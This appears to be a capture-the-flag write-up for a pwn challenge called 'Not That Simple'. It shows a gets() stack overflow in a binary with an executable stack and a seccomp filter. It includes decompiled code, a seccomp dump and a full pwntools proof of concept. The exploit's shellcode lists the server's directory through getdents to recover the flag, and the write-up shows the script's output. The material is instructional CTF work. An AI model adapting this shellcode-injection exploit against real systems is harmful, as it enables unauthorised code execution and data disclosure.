Link Search Menu Expand Document

Not That Simple

You didn't think it would be that easy... right?

NOTE: The flag is a filename in the current working directory of the server. See the docker for reference.

Challenge

TL;DR: Shellcode injection

From checksec, we know that NX is disabled. So, we can perform shellcode injection.

Ghidra’s decompiled main()

undefined8 main(void)

{
  char local_58 [80];
  
  install_seccomp();
  printf("Oops, I\'m leaking! %p\n",local_58);
  puts(&DAT_00402050);
  printf("> ");
  fflush(stdout);
  gets(local_58);
  puts("Hah! You didn\'t seriously think it was that simple?");
  return 0;
}

After performing static analysis, we found that the binary is vulnerable to buffer overflow:

gets(local_58);

Interesting, we notice that the binary uses seccomp. Seccomp restricts what syscalls we can use.

$ seccomp-tools dump ./notsimple 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x09 0x00 0x40000000  if (A >= 0x40000000) goto 0013
 0004: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0013
 0005: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0013
 0006: 0x15 0x06 0x00 0x00000101  if (A == openat) goto 0013
 0007: 0x15 0x05 0x00 0x00000003  if (A == close) goto 0013
 0008: 0x15 0x04 0x00 0x00000055  if (A == creat) goto 0013
 0009: 0x15 0x03 0x00 0x00000086  if (A == uselib) goto 0013
 0010: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0013
 0011: 0x15 0x01 0x00 0x0000003a  if (A == vfork) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

So, we cannot run execve, execveat, openat, close, creat, uselib, fork and vfork syscalls.

From setup.sh file, we know that the flag is the filename:

#!/bin/sh
service xinetd start
cd /pwn
touch FILE_6768585 FILE_5786754 FILE_76498904 FILE_6784577 FILE_eb94e79028 FILE_6758838 redpwn_absorption_plan.txt FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093 rarctf{f4k3_l0c4l_fl4g}
sleep infinity

So, we can call getdents syscall to list the files in the directory.

Idea of exploit: Spray the buffer and overwrite the ret address to point to the shellcode. The shellcode calls getdents syscall which lists files in the directory.

In our case, we placed the shellcode after the ret address.

The shellcode first calls open('.', 0, 0) (Syscall no. 2 is open). The syscall returns a file descriptor (fd) which can be used in getdents(). Then, the shellcode calls getdents(fd, esp, 0x3210) (Syscall no. 78 is getdents). So, it reads the directory (pointed by fd) and stores it into a buffer of size 0x3210. On success, the syscall returns the number of bytes read. Lastly, the shellcode calls write(1, rsp, <no. of bytes read>) (Syscall no. 1 is write). This syscall prints the content stored in the buffer to stdout.

Working POC:

from pwn import *

# badchars: \x0a
getdents = asm('''
    xor rax, rax
	push rax
	push 0x2E

	mov al, 2      
	mov rdi, rsp   
	xor rsi, rsi 
	xor rdx, rdx 
	syscall	

	mov rdi,rax 		
	xor rdx,rdx
	xor rax,rax
	mov dx, 0x3210 	
	sub rsp, rdx 	
	mov rsi, rsp 	
	mov al, 78 	
	syscall

	xchg rax,rdx

	xor rax, rax
	xor rdi,rdi
	
	inc eax
	inc edi
	mov rsi, rsp
	syscall
''', arch='amd64')

#r = process('./notsimple')
#pause()
r = remote('193.57.159.27', 46343)
r.recvuntil(b'leaking! ')
arr_addr = int(r.recvuntil(b'\n').strip(), 0)
print(hex(arr_addr))
r.recvuntil(b'> ')
payload = b'A' * 80
payload += b'A' * 8
payload += p64(arr_addr + 80 + 8 + 8)
payload += getdents
r.sendline(payload)
r.interactive()

Output of the script:

$ python3 pwn3.py 
[+] Opening connection to 193.57.159.27 on port 46343: Done
0x7fff1b2f5d90
[*] Switching to interactive mode
[+] Opening connection to 193.57.159.27 on port 46343: Done
0x7fff1b2f5d90
[*] Switching to interactive mode
\x1b\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04    
\x04\x00\x00\x00\x00\x00\x00\x00.\x00\x00\xb6r\x0e\x00\x00\x03\x00\x00\x00 \x00ILE_6768585\x00\xb8r\x0e\x00\x00\x04\x00\x00\x00 \x00ILE_5786754\x00\xb9r\x0e\x00\x00\x05\x00\x00\x00(\x00ILE_76498904\x00\x00\x00\x0\xbar\x0e\x00\x00\x06\x00\x00\x00 \x00ILE_6784577\x00\xbbr\x0e\x00\x00\x07\x00\x00\x00(\x00ILE_eb94e79028\x00\x00\x0\xbcr\x0e\x00\x0\x00\x00\x00\x00\x00ILE_6758838\x00\xbdr\x0e\x00\x00    \x00\x00\x00\x00\x00edpwn_absorption_plan.txt\x00\x00\xber\x0e\x00\x00
\x00\x00\x00\x00\x00ILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093\x00\x00\x00\x0\xbfr\x0e\x00\x00\x0b\x00\x00\x00X\x00arctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}\x0\x1c    \x00\x00\x00\x00\x00\x00\x00\x00otsimple\x00\x0Segmentation fault

Flag: rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}

Resources

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

https://github.com/t00sh/assembly/blob/master/shellcodes/linux/x86-64/ls_syscall.asm